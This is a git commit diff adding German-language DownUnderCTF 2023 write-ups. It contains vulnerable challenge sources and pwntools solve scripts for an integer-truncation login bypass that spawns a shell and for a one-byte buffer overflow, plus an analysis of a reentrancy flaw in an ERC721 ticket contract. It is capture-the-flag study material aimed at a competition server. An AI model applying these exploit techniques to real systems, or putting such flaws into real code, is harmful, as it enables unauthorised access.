some things

This commit is contained in:
2023-09-02 14:08:40 +02:00
parent 7c4ec54173
commit 365a15986b
10 changed files with 268 additions and 2 deletions

Binary file not shown.

View File

@@ -0,0 +1,88 @@
# downunderflow
```
It's important to see things from different perspectives.
Author: joseph
nc 2023.ductf.dev 30025
```
# Source
## downunderflow.c
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define USERNAME_LEN 6
#define NUM_USERS 8
char logins[NUM_USERS][USERNAME_LEN] = { "user0", "user1", "user2", "user3", "user4", "user5", "user6", "admin" };
void init() {
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
}
int read_int_lower_than(int bound) {
int x;
scanf("%d", &x);
if(x >= bound) {
puts("Invalid input!");
exit(1);
}
return x;
}
int main() {
init();
printf("Select user to log in as: ");
unsigned short idx = read_int_lower_than(NUM_USERS - 1);
printf("Logging in as %s\n", logins[idx]);
if(strncmp(logins[idx], "admin", 5) == 0) {
puts("Welcome admin.");
system("/bin/sh");
} else {
system("/bin/date");
}
}
```
# Lösung
```python
from pwn import *
import os
gs = '''
unset env LINES
unset env COLUMNS
set follow-fork-mode child
br *read_int_lower_than+57
br *main + 146
br *main + 49
c
x/d $rbp-0x14
'''
elf = ELF(os.getcwd()+"/downunderflow")
def start():
if args.GDB:
return gdb.debug(elf.path, gs)
if args.REMOTE:
return remote("2023.ductf.dev", 30025)
else:
return process(os.getcwd()+"/downunderflow")
io = start()
print(io.recvuntil("Select user to log in as: "))
io.sendline(str(0x1234567890120007).encode())
io.interactive()
```
=> `DUCTF{-65529_==_7_(mod_65536)}`

Binary file not shown.

View File

@@ -0,0 +1,36 @@
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define USERNAME_LEN 6
#define NUM_USERS 8
char logins[NUM_USERS][USERNAME_LEN] = { "user0", "user1", "user2", "user3", "user4", "user5", "user6", "admin" };
void init() {
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
}
int read_int_lower_than(int bound) {
int x;
scanf("%d", &x);
if(x >= bound) {
puts("Invalid input!");
exit(1);
}
return x;
}
int main() {
init();
printf("Select user to log in as: ");
unsigned short idx = read_int_lower_than(NUM_USERS - 1);
printf("Logging in as %s\n", logins[idx]);
if(strncmp(logins[idx], "admin", 5) == 0) {
puts("Welcome admin.");
system("/bin/sh");
} else {
system("/bin/date");
}
}

View File

@@ -0,0 +1,31 @@
from pwn import *
import os
gs = '''
unset env LINES
unset env COLUMNS
set follow-fork-mode child
br *read_int_lower_than+57
br *main + 146
br *main + 49
c
x/d $rbp-0x14
'''
elf = ELF(os.getcwd()+"/downunderflow")
def start():
if args.GDB:
return gdb.debug(elf.path, gs)
if args.REMOTE:
return remote("2023.ductf.dev", 30025)
else:
return process(os.getcwd()+"/downunderflow")
io = start()
print(io.recvuntil("Select user to log in as: "))
io.sendline(str(0x1234567890120007).encode())
io.interactive()

View File

@@ -0,0 +1,45 @@
# one byte
```
Here's a one byte buffer overflow!
Author: joseph
nc 2023.ductf.dev 30018
```
# Source
## onebyte.c
```c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
void init() {
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
}
void win() {
system("/bin/sh");
}
int main() {
init();
printf("Free junk: 0x%lx\n", init);
printf("Your turn: ");
char buf[0x10];
read(0, buf, 0x11);
}
```
# Analyse
Das Ziel ist recht eindeutig. Wir kontrollieren 1 Byte und sollen einen Sprung nach win() bewirken.
# Lösung
#TODO

Binary file not shown.

View File

@@ -0,0 +1,22 @@
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
void init() {
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
}
void win() {
system("/bin/sh");
}
int main() {
init();
printf("Free junk: 0x%lx\n", init);
printf("Your turn: ");
char buf[0x10];
read(0, buf, 0x11);
}

View File

@@ -0,0 +1,28 @@
from pwn import *
import os
gs = '''
unset env LINES
unset env COLUMNS
set follow-fork-mode child
br *main
c
'''
elf = ELF(os.getcwd()+"/downunderflow")
def start():
if args.GDB:
return gdb.debug(elf.path, gs)
if args.REMOTE:
return remote("2023.ductf.dev", 30018)
else:
return process(os.getcwd()+"/downunderflow")
io = start()
print(io.recvuntil("Your turn: "))
io.send(cyclic(11))
io.interactive()

View File

@@ -85,9 +85,25 @@ contract AnotherPlease is ERC721Enumerable {
# Analyse
Ziel ist es alle 30 Tickets zu besitzen. Glücklicherweise kriegen wir die ersten 20 gratis, aber die letzten 10 sind teurer als wir es uns leisten können.
Ziel ist es alle 30 Tickets zu besitzen. Glücklicherweise kriegen wir die ersten 10 gratis, aber die letzten 20 sind teurer als wir es uns leisten können.
Die Methode ```claimFreeTicket``` prüft erst, ob noch gratis Tickets vorhanden sind, und sendet dann das Ticket und decrementiert dann den Counter. Und hier liegt die Schwachstelle:
Der Angreifer Callt schnell hintereinander die ```claimFreeTicket``` Methode. Das Übertragen der Tickets via ```_safeMint``` dauert (vermutlich eine gewisse zeit in der alle 30 If-Abfragen positiv durchlaufen werden). Wenn der Counter heruntergesetzt wird, werden wir schon alle Tickets besitzen.
Der Angreifer Callt schnell hintereinander die ```claimFreeTicket``` Methode. Das Übertragen der Tickets via ```_safeMint``` triggert vermutlich einen call auf uns, was uns erlaubt die methode erneut aufzurufen. Wenn der Counter heruntergesetzt wird, werden wir schon alle Tickets besitzen.
```
_safeMint(address to, uint256 tokenId)
internal
Safely mints tokenId and transfers it to to.
Requirements:
tokenId must not exist.
If to refers to a smart contract, it must implement IERC721Receiver.onERC721Received, which is called upon a safe transfer.
Emits a Transfer event.
```
# Lösung